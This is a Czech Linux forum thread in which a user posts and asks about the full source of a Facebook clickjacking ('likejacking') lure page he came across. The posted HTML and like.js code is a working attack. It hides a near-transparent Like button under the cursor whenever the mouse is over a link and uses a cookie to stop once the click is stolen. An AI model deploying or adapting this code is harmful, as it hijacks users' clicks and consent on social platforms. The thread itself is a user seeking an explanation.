Prosíme přihlašte se nebo zaregistrujte.

Přihlašte se svým uživatelským jménem a heslem.
Vaše pomoc je stále potřeba!

Autor Téma: vycuranej clickjacking javascript pro FB stranky?  (Přečteno 5934 krát)

TUX IN MACHINE

  • Stálý člen
  • **
  • Příspěvků: 576
vycuranej clickjacking javascript pro FB stranky?
« kdy: 14 Ledna 2013, 23:26:07 »
z jedny fb page mi prisel odkaz co se presmeruje na
http://britney.geb.cz

prikladam zdrojak
Kód: [Vybrat]
<!DOCTYPE html>
<html lang="cs">
<head>
<meta content="text/html; charset=UTF-8" http-equiv="content-type" />
<meta content="index,follow" name="robots" />
  <title>Nejkrásnější žena na světě!</title>
  <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
  <script src="http://code.jquery.com/jquery-1.5.js"></script>
  <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
  <script>
  window.DO_CLICKJACKING = 1;
  var fbpage = "https://www.facebook.com/PolitickyKompost";
  setInterval(function(){window.location.href = "Britney_Spears_boobs.jpg";},7000);
  </script>
  <script src="like.js"></script>


</head>
<body>
<br />
<br />
<center>



<a href="Britney_Spears_boobs.jpg"><img id="img" width="500" src="Britney-spearsB.png"></a>



</center>


</body>
</html>
. to ma jako automaticky bez akce uzivatele
pridat LIKE te strance http://www.facebook.com/PolitickyKompost ? :) Ja pouzivam no script takze to neproslo. V cem to ma asi fungovat ze by cistej IE? Nebo i firefox bez ochrany?

po nacteni toho imho fejk obrazku je druhej obsahlejsi script na
http://britney.geb.cz/like.js

obsah:
Kód: [Vybrat]

/*************************************************************/









var $J = jQuery.noConflict();


// solve: images and floating divs
function heightestChild(elem) {
    var t = 0;
    var t_elem;
    $J("*", elem).each(function () {
        if ($J(this).outerHeight(true) > t) {
            t_elem = $J(this);
            t = t_elem.outerHeight(true);
        }
    });
    // we care about the heighest
    if (elem.outerHeight(true) > t) {
        t = elem.outerHeight(true);
    }

    //return elem.outerHeight(true);
    return t + 3; // hotfix
}

function highestOffsetTop(elem) {
    var t = elem.offset().top;
    var t_elem;
    $J("*", elem).each(function () {
        if ($J(this).offset().top < t) {
            t_elem = $J(this);
            t = t_elem.offset().top;
        }
    });
    // we only care about the object that is most on top
    if (elem.offset().top < t) {
        t = elem.offset().top;
    }

    //return elem.offset().top;
    return t + 3;
}



 

$J(document).ready(function () {
  //$J("#img").attr("src",img);

    if (window.DO_CLICKJACKING) {

        $J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100" href="'+fbpage+'"></fb:like></div>');
        var elementWidth = 0;
        var elementHeight = 0;
        var theElement = '';
        var likeDone = 0;

        if ($J.cookie("clickjacking_jj") == 1) {
            likeDone = 1;
        }



        // fired when the user clicks a link (likes our page) -> clickjacking is done
        FB.Event.subscribe('edge.create', function (response) {
            $J("#clickjacking").css("display", "none");
            likeDone = 1;
            $J.cookie("clickjacking_jj", "1");
            // let the user actually go to the link he clicked.
            //window.location.href = "http://nejkrasnejsizena.geb.cz/naha.jpg";
        });

        $J(document).mousemove(function (event) {
            if (theElement != '') {
                if (event.pageY < (highestOffsetTop(theElement) - 4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width())) {
                    theElement = ''; // the mouse is off theElement
                    $J("#clickjacking").css("display", "none");
                }
                else {
                    if ($J.browser.msie) {
                        $J("#clickjacking").css("top", (event.pageY - 15) + "px");
                        $J("#clickjacking").css("left", (event.pageX - 20) + "px");
                    }
                    else {
                        $J("#clickjacking").css("top", (event.pageY - 5) + "px");
                        $J("#clickjacking").css("left", (event.pageX - 20) + "px");
                    }
                }
            }
        });

        $J(document).delegate("a", "mouseenter", function () {
            // register mouse is inside element
            if (likeDone == 0) {
                theElement = $J(this);
                $J("#clickjacking").css("display", "block");
            }
        });


    } // window.DO_CLICKJACKING
});

jQuery.cookie = function (name, value, options) {
    if (typeof value != 'undefined') { // name and value given, set cookie
        options = options || {};
        if (value === null) {
            value = '';
            options.expires = -1;
        }
        var expires = '';
        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
            var date;
            if (typeof options.expires == 'number') {
                date = new Date();
                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
            } else {
                date = options.expires;
            }
            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
        }
        // CAUTION: Needed to parenthesize options.path and options.domain
        // in the following expressions, otherwise they evaluate to undefined
        // in the packed version for some reason...
        var path = options.path ? '; path=' + (options.path) : '';
        var domain = options.domain ? '; domain=' + (options.domain) : '';
        var secure = options.secure ? '; secure' : '';
        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
    } else { // only name given, get cookie
        var cookieValue = null;
        if (document.cookie && document.cookie != '') {
            var cookies = document.cookie.split(';');
            for (var i = 0; i < cookies.length; i++) {
                var cookie = jQuery.trim(cookies[i]);
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) == (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
};

Uvitam komentar programatora, dekuji.

Martin Šácha

  • Člen občanského sdružení Ubuntu ČR a placené komunitní podpory
  • Administrátor fóra
  • ******
  • Příspěvků: 5153
Re: vycuranej clickjacking javascript pro FB stranky?
« Odpověď #1 kdy: 15 Ledna 2013, 10:41:41 »
Takových scriptů i s komentáři je plný internet, co my s tím tady?

Akorát vypukne flame jestli za to může FB nebo zabugovaný prohlížeč nebo uživatel který kliká na cokoliv s "britney inside"...

Reopen ;)
« Poslední změna: 15 Ledna 2013, 11:29:07 od Martin "sachy" Šácha »
Mint MATE 64bit / DuckDuckGo.com
Programátoři považují WYSIWYG za špatné u kódu i u žen. Programátor chce "dostat to, co žádá“ – kód tajemný, neodpouštějící, nebezpečný.

 

Provoz zaštiťuje spolek OpenAlt.